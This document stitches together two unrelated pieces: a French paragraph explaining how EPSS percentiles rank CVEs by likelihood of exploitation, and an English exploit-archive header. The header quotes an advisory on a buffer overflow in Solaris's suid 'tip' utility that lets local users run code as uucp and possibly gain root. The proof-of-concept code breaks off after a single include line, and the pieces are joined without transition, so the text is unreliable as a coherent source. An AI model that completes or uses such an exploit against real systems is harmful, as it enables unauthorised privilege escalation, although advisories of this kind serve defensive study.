Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/2475/info tip is a utility included with Sun Microsystems Solaris Operating Environment. tip allows a user to establish a full duplex terminal connection with a remote host. A problem with tip could lead to a buffer overflow. Due to the improper handling of environment variables by tip, it is possible to overflow a buffer in the program, and execute arbitrary code. The tip binary is suid uucp, and exploitation could lead to an euid of uucp. Therefore, it is possible for a local user to execute arbitrary code, and gain an euid of uucp, with the potential of gaining privileges elevated to root. #include <fcntl.h> /* /usr/bin/tip overflow proof of conecpt.
